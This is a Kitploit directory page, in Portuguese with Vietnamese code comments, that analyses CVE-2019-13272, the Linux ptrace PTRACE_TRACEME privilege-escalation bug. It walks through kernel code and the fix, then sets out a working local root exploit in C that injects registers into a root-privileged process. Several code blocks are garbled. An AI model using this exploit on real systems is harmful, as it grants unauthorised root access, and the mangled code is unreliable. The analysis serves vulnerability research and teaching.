Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-13272 — Análise aprofundada e exploit para CVE-2019-13272, uma vulnerabilidade de escalada de privilégios ptrace no kernel Linux. Inclui explicação do código e cenário de exploração. | Kitploit
Ferramentas/GitHubGitHub/datntsec/cve-2019-13272
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoExploração de Binários
GitHubdatntsec/cve-2019-13272

CVE-2019-13272

Análise aprofundada e exploit para CVE-2019-13272, uma vulnerabilidade de escalada de privilégios ptrace no kernel Linux. Inclui explicação do código e cenário de exploração.

Ver Repositório
há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2019-13272

PTRACE_TRACEME CVE-2019-13272 local privilege escalation vulnerability analysis

PTRACE_TRACEME é uma vulnerabilidade de escalada de privilégios no kernel Linux descoberta por Jann Horn em julho de 2019.

Análise da vulnerabilidade:

Ptrace é uma chamada de sistema, que fornece um método para permitir que um processo (tracer) possa observar e controlar a execução de outro processo (tracee), inspecionar e alterar sua imagem de núcleo e registradores, usado principalmente para definir pontos de interrupção em depuração e rastrear chamadas de sistema.``` c 1 396 kernel/ptrace.c <<ptrace_attach>> ptrace_link(task, current); 2 469 kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);

root@kitploit:~
Existem duas maneiras de configurar uma relação de trace:
  - O processo chama a função fork e seu processo filho chama `PTRACE_TRACEME` (correspondente à função `ptrace_traceme` no kernel) para inicializar o tracee.
  - O processo chama `PTRACE_ATTACH` ou `PTRACE_SEIZE` (correspondente à função `ptrace_attach` no kernel) para inicializar um tracer para rastrear outro processo.
  
Independentemente do método utilizado, a função `ptrace_link` ainda será chamada por último para configurar a relação de trace entre o tracer e o tracee.
- Os dois parâmetros passados para `ptrace_link` no caso de `ptrace_attach` são 'task' (tracee) e 'current' (tracer)
- Os dois parâmetros passados para `ptrace_link` no caso de `ptrace_traceme` são 'current' (tracee) e 'current->real_parent' (tracer)

Aqui, precisamos notar quais são os dois parâmetros passados para o tracer e tracee nos 2 métodos acima ao chamar a função `ptrace_link`, porque a vulnerabilidade estará na função `ptrace_link`.``` c
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
        rcu_read_lock();
        __ptrace_link(child, new_parent, __task_cred(new_parent));
        rcu_read_unlock();
}

void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
                   const struct cred *ptracer_cred)
{
        BUG_ON(!list_empty(&child->ptrace_entry));
        list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. thêm chính nó vào hàng đợi 
                                                                 // ptraced của process cha
        child->parent = new_parent; // 2. Lưu địa chỉ của process cha trong con trỏ parent
        child->ptracer_cred = get_cred(ptracer_cred); // 3. Lưu ptracer_cred lại, ta cần tập trung 
                                                          // vào biến này vì lỗi nằm ở đây
}

A chave para estabelecer a relação de trace é que o tracee registra as credenciais do tracer e as armazena na variável 'ptracer_cred' do tracee.

O conceito de 'ptracer_cred' foi introduzido por um patch em 2016, ptrace: Capture the ptracer's creds not PT_PTRACE_CAP. O propósito da introdução de 'ptracer_cred' é realizar uma verificação de segurança quando o tracee executa exec para carregar um setuid executable

Por que precisamos dessa verificação de segurança?

A família exec pode atualizar a imagem do processo. Se o setuid bit do arquivo executável estiver definido, quando o arquivo executável for executado, o euid do processo será modificado para o uid do proprietário do arquivo executável. Os privilégios do processo são maiores que os do usuário que chamou exec e a execução desse tipo de setuid executable terá um efeito de escalada (escalation).

Imagine, se o próprio processo que executa exec é um tracee, após ele executar um setuid executable para escalar privilégios, seu tracer pode modificar os registradores e a memória do tracee a qualquer momento, e se o tracer com privilégios baixos puder controlar o tracee com privilégios altos, o tracer pode realizar operações não autorizadas através do tracee.

No entanto, no kernel, parece não permitir que tais comportamentos que excedem a autoridade existam, então ao estabelecer as relações de trace, o tracee precisa armazenar as credenciais do tracer (ou seja, ptracer_cred), se o tracee executar um processo exec, ele verificará se o bit setuid do arquivo executável executado está definido; se estiver, ele considerará os privilégios de 'ptracer_cred'. Se os privilégios não forem suficientes, os privilégios de execução do bit setuid (privilégios do proprietário do arquivo) não serão usados para executar exec, mas serão executados com os privilégios do usuário original.

A análise do código desse processo é a seguinte (a análise do código deste artigo é baseada no v4.19-rc8).``` python do_execve -> __do_execve_file -> prepare_binprm -> bprm_fill_uid -> security_bprm_set_creds ->cap_bprm_set_creds -> ptracer_capable ->selinux_bprm_set_creds ->(apparmor_bprm_set_creds) ->(smack_bprm_set_creds) ->(tomoyo_bprm_set_creds)

root@kitploit:~
As operações relacionadas à permissão de execução encontram-se principalmente na função `prepare_binprm```` c
1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569         int retval;
1570         loff_t pos = 0;
1571 
1572         bprm_fill_uid(bprm); // <-- fill cred của new process (xem hàm bprm_fill_uid bên dưới sẽ rõ hơn)
1573 
1574         /* fill in binprm security blob */
1575         retval = security_bprm_set_creds(bprm); // <-- kiểm tra bảo mật, để xem xét sửa đổi cred của new process     
1576         if (retval)
1577                 return retval;
1578         bprm->called_set_creds = 1;
1579 
1580         memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581         return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }

Como acima, primeiro chame bprm_fill_uid para preencher as credenciais do novo processo, depois chame security_bprm_set_creds para verificar a segurança e modificar as novas credenciais, se necessário.``` c 1509 static void bprm_fill_uid(struct linux_binprm *bprm) 1510 { 1511 struct inode inode; 1512 unsigned int mode; 1513 kuid_t uid; 1514 kgid_t gid; 1515 1516 / 1517 * Since this can be called multiple times (via prepare_binprm), 1518 * we must clear any previous work done when setting set[ug]id 1519 * bits from any earlier bprm->file uses (for example when run 1520 * first for a setuid script then again for its interpreter). 1521 / 1522 bprm->cred->euid = current_euid(); // <--- trước tiên sẽ sử dụng euid của process hiện tại 1523 bprm->cred->egid = current_egid(); 1524 1525 if (!mnt_may_suid(bprm->file->f_path.mnt)) 1526 return; 1527 1528 if (task_no_new_privs(current)) 1529 return; 1530 1531 inode = bprm->file->f_path.dentry->d_inode; 1532 mode = READ_ONCE(inode->i_mode); 1533 if (!(mode & (S_ISUID|S_ISGID))) // <---------- nếu bit setuid/setgid của file thực thi không được set 1534 return; // , hàm sẽ return tại đây. 1535 1536 / Be careful if suid/sgid is set / 1537 inode_lock(inode); 1538 1539 / reload atomically mode/uid/gid now that lock held / 1540 mode = inode->i_mode; 1541 uid = inode->i_uid; // <---- nếu S_ISUID được set,sử dụng i_uid của file 1542 gid = inode->i_gid; 1543 inode_unlock(inode); 1544 1545 / We ignore suid/sgid if there are no mappings for them in the ns */ 1546 if (!kuid_has_mapping(bprm->cred->user_ns, uid) || 1547 !kgid_has_mapping(bprm->cred->user_ns, gid)) 1548 return; 1549 1550 if (mode & S_ISUID) { 1551 bprm->per_clear |= PER_CLEAR_ON_SETID; 1552 bprm->cred->euid = uid; // <------ sử dụng uid của file như là euid của new process 1553 } 1554 1555 if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) { 1556 bprm->per_clear |= PER_CLEAR_ON_SETID; 1557 bprm->cred->egid = gid; 1558 } 1559 }

root@kitploit:~
Observando as 2 linhas de código a seguir para o trecho acima:
- Linha 1522, atribui o euid atual do processo ao novo euid, portanto a maioria dos processos em execução são executados sob a permissão original.
- Linha 1552, se o bit suid estiver definido, atribui o uid do proprietário do arquivo executável ao novo uid. Pode-se entender como algo semelhante ao setuid. O novo euid torna-se o uid do proprietário do arquivo executável, e se o proprietário for um usuário privilegiado, a escalada de privilégios ocorre aqui.

No entanto, o euid aqui ainda não é o resultado final, precisamos examinar a função `security_bprm_set_creds` para saber mais sobre a verificação de segurança.

A função `security_bprm_set_creds` chama o framework [LSM](https://en.wikipedia.org/wiki/Linux_Security_Modules)

Na versão do kernel que analisei, existem até 5 pontos de hook do framework lsm que realizam a verificação de segurança de 'bprm_set_creds'. As funções de verificação são as seguintes:``` python
cap_bprm_set_creds
selinux_bprm_set_creds
apparmor_bprm_set_creds
smack_bprm_set_creds
tomoyo_bprm_set_creds

Os hooks a serem executados aqui dependerão da configuração de cada kernel específico. Em teoria, se todos os frameworks LSM estiverem habilitados, todos os hooks mencionados acima seriam implementados para verificar 'bprm_set_creds'.

No meu ambiente de análise, apenas os hooks cap_bprm_set_creds e selinux_bprm_set_creds foram executados.

Dentre eles, o hook cap_bprm_set_creds desempenha o papel de alterar o euid:``` c 815 int cap_bprm_set_creds(struct linux_binprm *bprm) 816 { 817 const struct cred *old = current_cred(); 818 struct cred new = bprm->cred; 819 bool effective = false, has_fcap = false, is_setid; 820 int ret; 821 kuid_t root_uid; ===================== skip ====================== 838 / Don't let someone trace a set[ug]id/setpcap binary with the revised 839 * credentials unless they have the appropriate permit. 840 * 841 * In addition, if NO_NEW_PRIVS, then ensure we get no new privs. 842 / 843 is_setid = __is_setuid(new, old) || __is_setgid(new, old);
844 845 if ((is_setid || __cap_gained(permitted, new, old)) && // <---- kiểm tra setid của chương trình được thực thi 846 ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) || 847 !ptracer_capable(current, new->user_ns))) { // <----- Nếu process thực thi execve được trace, và executed program là setuid, quyền sẽ được xem xét thêm vào 848 /
downgrade; they get no more than they had, and maybe less */ 849 if (!ns_capable(new->user_ns, CAP_SETUID) || 850 (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) { 851 new->euid = new->uid; // <----- Nếu không thỏa điều kiện, euid của tiến trình mới sẽ được reset về uid ban đầu 852 new->egid = new->gid; 853 } 854 new->cap_permitted = cap_intersect(new->cap_permitted, 855 old->cap_permitted); 856 } 857 858 new->suid = new->fsuid = new->euid; 859 new->sgid = new->fsgid = new->egid; ===================== skip ====================== }

root@kitploit:~
Como acima,
  - A linha 845 verifica se o euid é consistente com o uid original (na análise da função `bprm_fill_uid` acima, se o arquivo executado possui o bit setuid ativado, o euid geralmente não será consistente) ==> Aqui também pode ser entendido, é equivalente a detectar se o processo executado é um programa setid.
  - A linha 847 verificará se o processo é um tracee.

Se as duas condições acima forem atendidas, a função `ptracer_capable` precisa ser executada para verificar as permissões. Se a verificação não for satisfeita, a redução de privilégios será realizada.
  - Linha 851, altera o valor de '*new->euid*' para '*new->uid*', o que significa que o privilégio obtido da função `bprm_fill_uid` (cred) pode ser rebaixado aqui.``` c
    499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
    500 {
    501         int ret = 0;  /* An absent tracer adds no restrictions */
    502         const struct cred *cred;
    503         rcu_read_lock();
    504         cred = rcu_dereference(tsk->ptracer_cred); // <----- lấy ra ptracer_cred được lưu khi ptrace_link
    505         if (cred)
    506                 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-- đi vào lsm framwork để kiểm tra bảo mật
    507         rcu_read_unlock();
    508         return (ret == 0);
    509 }
    

Como acima

  • A linha 504 obtém 'tsk->ptracer_cred'.
  • A linha 506, entra no framework lsm para verificar 'tsk->ptracer_cred'.

A variável 'tsk->ptracer_cred' está relacionada à vulnerabilidade localizada aqui. Como mencionado anteriormente, esta variável é a cred do tracer armazenada pelo tracee quando a relação de trace é estabelecida.

Quando o tracee realiza execve posteriormente para executar um programa suid executável, ele chama a função ptracer_capable e utiliza o security framework no lsm para determinar os privilégios de 'ptracer_cred'.

Não analisaremos security_capable_noaudit no framework lsm, mas pode-se entender simplesmente que se o próprio tracer tiver privilégios root, a verificação aqui será aprovada; caso contrário, retornará um erro.

De acordo com a análise anterior, se a verificação pela função ptracer_capable falhar, os privilégios de 'new->euid' serão rebaixados para os privilégios originais.

Exemplo: A faz ptrace em B, B executa execve '/usr/bin/passwd'. De acordo com a análise do trecho de código acima, se A tiver privilégios root, o euid de B ao executar passwd será root; caso contrário, ele usará os privilégios originais.``` c kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);

static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) { rcu_read_lock(); __ptrace_link(child, new_parent, __task_cred(new_parent)); rcu_read_unlock(); }

root@kitploit:~
Voltando ao trecho de código que contém a vulnerabilidade acima, por que o traceme está errado ao gravar a cred de seu pai ao configurar o trace link? Claramente, neste momento, seu pai é o tracer? Usando o exemplo de Jann Horn para ilustrar por que o traceme não pode usar a cred do tracer ao configurar o trace link dessa forma.``` py
 - 1,  task A: fork()s a child, task B
 - 2,  task B: fork()s a child, task C
 - 3,  task B: execve(/some/special/suid/binary)
 - 4,  task C: PTRACE_TRACEME (creates privileged ptrace relationship)
 - 5,  task C: execve(/usr/bin/passwd)
 - 6,  task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
 - 7,  task B: become dumpable again (e.g. execve(/some/other/binary))
 - 8,  task A: PTRACE_ATTACH to task B
 - 9,  task A: use ptrace to take control of task B
 - 10, task B: use ptrace to take control of task C

Existem 3 processos: A, B, C no cenário acima.

  • No passo 4, quando a tarefa C usa PTRACE_TRACEME para estabelecer um link de rastreamento com B, como o euid de B agora é 0 (porque acabou de executar um binário suid), o euid de 'ptracer_cred' registrado por C também é 0
  • No passo 5, a tarefa C executa execve(suid binary) em seguida. De acordo com a análise acima, como 'ptracer_cred' de C tem privilégios, a função ptracer_capable é aprovada, portanto, após executar execve, o euid da tarefa C também é elevado para 0. Observe que o link de rastreamento entre B e C ainda está ativo neste momento.
  • No passo 6, a tarefa B executa setresuid para diminuir seus privilégios. O objetivo disso é prosseguir com o attach à tarefa A
  • No passo 8, a tarefa A usa PTRACE_ATTACH para estabelecer um link de rastreamento com B. Tanto A quanto B têm privilégios normais, então A pode controlar B para realizar qualquer operação.
  • No passo 10, a tarefa B controla a tarefa C para realizar a ação de escalada de privilégios.

Os primeiros 9 passos são configurados de acordo com a análise de código anterior, então o passo 9 pode ser configurado?

Ao executar o passo 10, a própria tarefa B tem privilégios normais, a tarefa C tem privilégios de root e o link de rastreamento entre B e C é válido. Sob essa condição, B pode enviar uma solicitação ptrace para C realizar várias operações, incluindo a escalada de privilégios?

Vamos analisar isso com o código abaixo:``` c 1111 SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr, 1112 unsigned long, data) 1113 { 1114 struct task_struct child; 1115 long ret; 1116 1117 if (request == PTRACE_TRACEME) { 1118 ret = ptrace_traceme(); // <----- đi vào nhánh traceme 1119 if (!ret) 1120 arch_ptrace_attach(current); 1121 goto out; 1122 } 1123 1124 child = find_get_task_by_vpid(pid); 1125 if (!child) { 1126 ret = -ESRCH; 1127 goto out; 1128 } 1129 1130 if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) { 1131 ret = ptrace_attach(child, request, addr, data); // <------ đi vào nhánh attach 1132 / 1133 * Some architectures need to do book-keeping after 1134 * a ptrace attach. 1135 */ 1136 if (!ret) 1137 arch_ptrace_attach(child); 1138 goto out_put_task_struct; 1139 } 1140 1141 ret = ptrace_check_attach(child, request == PTRACE_KILL || 1142 request == PTRACE_INTERRUPT); 1143 if (ret < 0) 1144 goto out_put_task_struct; 1145 1146 ret = arch_ptrace(child, request, addr, data); // <---- các yêu cầu ptrace khác 1147 if (ret || request != PTRACE_DETACH) 1148 ptrace_unfreeze_traced(child); 1149 1150 out_put_task_struct: 1151 put_task_struct(child); 1152 out: 1153 return ret; 1154 }

root@kitploit:~
Como no trecho de código acima, como as tarefas B e C já possuem links de rastreamento neste momento, a solicitação ptrace pode ser enviada diretamente para C através de B, a partir da qual a função `arch_ptrace` será chamada.``` c
arch/x86/kernel/ptrace.c

arch_ptrace 
    -> ptrace_request 
        -> generic_ptrace_peekdata
           generic_ptrace_pokedata 
            -> ptrace_access_vm 
                -> ptracer_capable 
kernel/ptrace.c
884 int ptrace_request(struct task_struct *child, long request,
885                    unsigned long addr, unsigned long data)
886 {
887         bool seized = child->ptrace & PT_SEIZED;
888         int ret = -EIO;
889         siginfo_t siginfo, *si;
890         void __user *datavp = (void __user *) data;
891         unsigned long __user *datalp = datavp;
892         unsigned long flags;
893 
894         switch (request) {
895         case PTRACE_PEEKTEXT:
896         case PTRACE_PEEKDATA:
897                 return generic_ptrace_peekdata(child, addr, data);
898         case PTRACE_POKETEXT:
899         case PTRACE_POKEDATA:
900                 return generic_ptrace_pokedata(child, addr, data);
901 
=================== skip ================
1105 }



1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
1157                             unsigned long data)
1158 {
1159         unsigned long tmp;
1160         int copied;
1161 
1162         copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- gọi hàm ptrace_access_vm
1163         if (copied != sizeof(tmp))
1164                 return -EIO;
1165         return put_user(tmp, (unsigned long __user *)data);
1166 }
1167 
1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
1169                             unsigned long data)
1170 {
1171         int copied;
1172 
1173         copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- gọi hàm ptrace_access_vm
1174                         FOLL_FORCE | FOLL_WRITE);
1175         return (copied == sizeof(data)) ? 0 : -EIO;
1176 }

Quando o tracer deseja controlar a execução de nova lógica de código pelo tracee, ele precisa enviar solicitações de leitura e gravação para a região de código e memória do tracee. As solicitações correspondentes são as funções PTRACE_PEEKTEXT/PTRACE_PEEKDATA/PTRACE_POKETEXT/PTRACE_POKEDATA.

Essas operações de leitura e gravação são, em última análise, realizadas através da função ptrace_access_vm.``` c kernel/ptrace.c 38 int ptrace_access_vm(struct task_struct *tsk, unsigned long addr, 39 void *buf, int len, unsigned int gup_flags) 40 { 41 struct mm_struct *mm; 42 int ret; 43 44 mm = get_task_mm(tsk); 45 if (!mm) 46 return 0; 47 48 if (!tsk->ptrace || 49 (current != tsk->parent) || 50 ((get_dumpable(mm) != SUID_DUMP_USER) && 51 !ptracer_capable(tsk, mm->user_ns))) { // < ----- gọi hàm ptracer_capable một lần nữa. 52 mmput(mm); 53 return 0; 54 } 55 56 ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags); 57 mmput(mm); 58 59 return ret; 60 }

kernel/capability.c 499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace ns) 500 { 501 int ret = 0; / An absent tracer adds no restrictions */ 502 const struct cred *cred; 503 rcu_read_lock(); 504 cred = rcu_dereference(tsk->ptracer_cred); 505 if (cred) 506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); 507 rcu_read_unlock(); 508 return (ret == 0); 509 }

root@kitploit:~
Olhando para o trecho de código acima, podemos ver que a função `ptrace_access_vm` chama a função `ptracer_capable` que analisamos anteriormente para determinar se sua solicitação pode ser executada.

De acordo com o resultado da análise anterior, '*ptracer_cred*' armazenado na tarefa C neste momento é uma cred com privilégios, portanto, `ptracer_capable` será aprovada neste momento, o que significa que a pergunta acima foi respondida. Neste caso, a tarefa B com permissões normais pode usar ptrace para enviar solicitações de leitura e gravação na região de memória e na região de código da tarefa C com permissões de root.

Neste momento, o privilégio '*ptracer_cred*' é executado pela tarefa C em dois casos:
- A tarefa C executa `execve(suid binary)` para elevar privilégios
- A tarefa B com permissões normais pode executar ptrace para ler e gravar na região de código e na região de memória da tarefa C, controlando assim a tarefa C para realizar operações arbitrárias

A combinação dos 2 papéis acima é uma atividade de escalada de privilégios completa?

Antes de responder à pergunta acima, veremos como essa vulnerabilidade é explorada e corrigida.

# Resumo sobre o patch da vulnerabilidade PTRACE_TRACEME``` 
PTRACE_TRACEME records the parent's credentials as if the parent was 
acting as the subject, but that's not the case.  If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.

Em essência, essa vulnerabilidade é um pouco semelhante a uma vulnerabilidade do tipo TOCTOU. A obtenção de 'ptracer_cred' na fase traceme e o uso de 'ptracer_cred' na fase seguinte, na próxima solicitação ptrace, o cred do tracer pode não ser o cred original, mas sim o cred do momento da ligação (isto é, ele é reatribuído dentro da função ptrace_link).``` diff diff --git a/kernel/ptrace.c b/kernel/ptrace.c index 8456b6e..705887f 100644 --- a/kernel/ptrace.c +++ b/kernel/ptrace.c @@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent, */ static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) {

  • rcu_read_lock();
  • __ptrace_link(child, new_parent, __task_cred(new_parent));
  • rcu_read_unlock();
  • __ptrace_link(child, new_parent, current_cred()); }
root@kitploit:~
Vamos revisitar o patch: '*\_\_task_cred(new_parent)*' substituído por '*current_cred()*'

O patch indica que quando PTRACE_TRACEME é executado, '*ptracer_cred*' não usa as credenciais do processo pai, mas sim suas próprias credenciais.

# Exploit
O ponto chave para explorar essa vulnerabilidade é encontrar um programa executável adequado para iniciar a task B. Este programa executável deve atender às seguintes condições:
- Pode ser chamado por um usuário comum
- Deve ter uma fase de escalonamento de privilégios para root durante a execução
- Após obter privilégios de root, deve ser capaz de reduzir os privilégios.

(O objetivo de escalar temporariamente para root é permitir que a task C obtenha o ptracer_cred do root, e o objetivo de reduzir os privilégios é permitir que B seja anexado por um processo com privilégios ptrace normais.))

Aqui estão 3 exemplos de código para exploração:
- [Exploit por Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)
- [Exploit por Bcoles](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c)
- [Exploit por Jiayy](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272)

No [exploit de Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217), o programa [pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) disponível na máquina (para a versão desktop) é usado para iniciar a task B

[pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) permite que um usuário privilegiado execute outro programa com os direitos de outro usuário, sendo usado no framework de autenticação do polkit. Ao usar o parâmetro --user, ele permite que o processo eleve seus privilégios para root e depois os reduza para o usuário especificado, portanto pode ser usado para construir a task B. Além disso, precisamos encontrar outros programas executáveis que sejam executados através da estrutura polkit (Jann Horn usa helpers). Esses programas precisam atender ao requisito de que um usuário comum possa executá-los com pkexec sem necessidade de autenticação (muitos programas executados via polkit exigem autenticação através de uma janela que aparece). A forma de executar é a seguinte:``` sh
/usr/bin/pkexec —user nonrootuser /user/sbin/some-helper-binary

Exploit de Bcoles adiciona código para encontrar binários auxiliares adicionais com base no trabalho de Jann Horn. Como o auxiliar de Jann Horn é um programa hard-coded, ele não existe em muitas distribuições Linux, portanto seu exploit não pode ser usado em muitos sistemas de distribuição. Por outro lado, o código do exploit de bcoles pode ser executado com sucesso em mais distribuições.

Para fins de pesquisa, falarei sobre o exploit do Jiayy, porque os binários auxiliares de diferentes distribuições são diferentes e o pkexec só está disponível em distribuições desktop; na verdade, esta vulnerabilidade de escalonamento de privilégios é uma falha do kernel Linux, portanto, o exploit de Jann Horn foi modificado para usar o escalonamento de privilégios através de dois programas criados manualmente, fakepkexec e fakehelper (em vez de pesquisar no sistema alvo), para que o leitor possa executar este exploit em qualquer sistema Linux vulnerável (incluindo sistemas que não são desktop) para fins de pesquisa.

exploit analysis

Veja o código do exploit abaixo:``` c 167 int main(int argc, char *argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell(); 172 173 helper_path = "/tmp/fakehelper"; 174 175 / 176 * set up a pipe such that the next write to it will block: packet mode, 177 * limited to one packet 178 / 179 SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); 180 SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); 181 char dummy = 0; 182 SAFE(write(block_pipe[1], &dummy, 1)); 183 184 / spawn pkexec in a child, and continue here once our child is in execve() / 185 static char middle_stack[10241024]; 186 pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), 187 CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); 188 if (!middle_success) return 1; 189 ======================= skip ======================= 215 }

root@kitploit:~
Primeiro, olhe para a linha 186, a chamada da função clone para criar um processo filho (tarefa B), a tarefa B executará a função middle_main.``` c
64 static int middle_main(void *dummy) {
65   prctl(PR_SET_PDEATHSIG, SIGKILL);
66   pid_t middle = getpid();
67 
68   self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69 
70   pid_t child = SAFE(fork());
71   if (child == 0) {
72     prctl(PR_SET_PDEATHSIG, SIGKILL);
73 
74     SAFE(dup2(self_fd, 42));
75 
76     /* spin until our parent becomes privileged (have to be fast here) */
77     int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78     char *needle = tprintf("nUid:t%dt0t", getuid());
79     while (1) {
80       char buf[1000];
81       ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82       buf[buflen] = '';
83       if (strstr(buf, needle)) break;
84     }
85 
86     /*
87      * this is where the bug is triggered.
88      * while our parent is in the middle of pkexec, we force it to become our
89      * tracer, with pkexec's creds as ptracer_cred.
90      */
91     SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92 
93     /*
94      * now we execute passwd. because the ptrace relationship is considered to
95      * be privileged, this is a proper suid execution despite the attached
96      * tracer, not a degraded one.
97      * at the end of execve(), this process receives a SIGTRAP from ptrace.
98      */
99     puts("executing passwd");
100     execl("/usr/bin/passwd", "passwd", NULL);
101     err(1, "execl passwd");
102   }
103 
104   SAFE(dup2(self_fd, 0));
105   SAFE(dup2(block_pipe[1], 1));
106 
107   struct passwd *pw = getpwuid(getuid());
108   if (pw == NULL) err(1, "getpwuid");
109 
110   middle_success = 1;
111   execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112   middle_success = 0;
113   err(1, "execl pkexec");
114 }

Linha 70, chama a função fork para criar um processo neto (tarefa C).

Depois, na linha 111, a tarefa B executa fakepkexec para elevar privilégios e depois reduzir privilégios.

Em seguida, observe as linhas 76 a 84, após a tarefa C detectar que o euid da tarefa B se tornou 0, ela executará a linha 91 para realizar a operação PTRACE_TRACEME para obter o ptracer_cred do root, e então imediatamente executará o executel para executar o binário suid para fazer seu euid se tornar 0``` c 190 /* 191 * wait for our child to go through both execve() calls (first pkexec, then 192 * the executable permitted by polkit policy). 193 */ 194 while (1) { 195 int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); 196 char buf[16]; 197 int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); 198 buf[buflen] = ''; 199 strchrnul(buf, 'n') = ''; 200 if (strncmp(buf, basename(helper_path), 15) == 0) 201 break; 202 usleep(100000); 203 } 204 205 / 206 * our child should have gone through both the privileged execve() and the 207 * following execve() here 208 */ 209 SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); 210 SAFE(waitpid(midpid, &dummy_status, 0)); 211 fputs("attached to midpidn", stderr); 212 213 force_exec_and_wait(midpid, 0, "stage2"); 214 return 0;

root@kitploit:~
Em seguida, voltando à função main da tarefa A, linhas 194 a 202, a tarefa A verifica se o arquivo comm da tarefa B se tornou helper; se sim, ela executa a linha 213 para executar a função force_exec_and_wait.``` c
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117   struct user_regs_struct regs;
118   struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
119   SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120   SAFE(waitpid(pid, &dummy_status, 0));
121   SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122 
123   /* set up indirect arguments */
124   unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125   struct injected_page {
126     unsigned long argv[2];
127     unsigned long envv[1];
128     char arg0[8];
129     char path[1];
130   } ipage = {
131     .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132   };
133   strcpy(ipage.arg0, arg0);
134   for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135     unsigned long pdata = ((unsigned long *)&ipage)[i];
136     SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137                 (void*)pdata));
138   }
139 
140   /* execveat(exec_fd, path, argv, envv, flags) */
141   regs.orig_rax = __NR_execveat;
142   regs.rdi = exec_fd;
143   regs.rsi = scratch_area + offsetof(struct injected_page, path);
144   regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145   regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146   regs.r8 = AT_EMPTY_PATH;
147 
148   SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149   SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150   SAFE(waitpid(pid, &dummy_status, 0));
151 }

A função de force_exec_and_wait é usar ptrace para controlar o tracee a executar a função execveat para substituir a imagem do processo, aqui ela controla a tarefa B para executar o processo da tarefa A (ou seja, o programa executável do exploit - o arquivo binário do exploit) com o parâmetro stage2 para que a tarefa B execute a função middle_stage2``` c 167 int main(int argc, char **argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell();

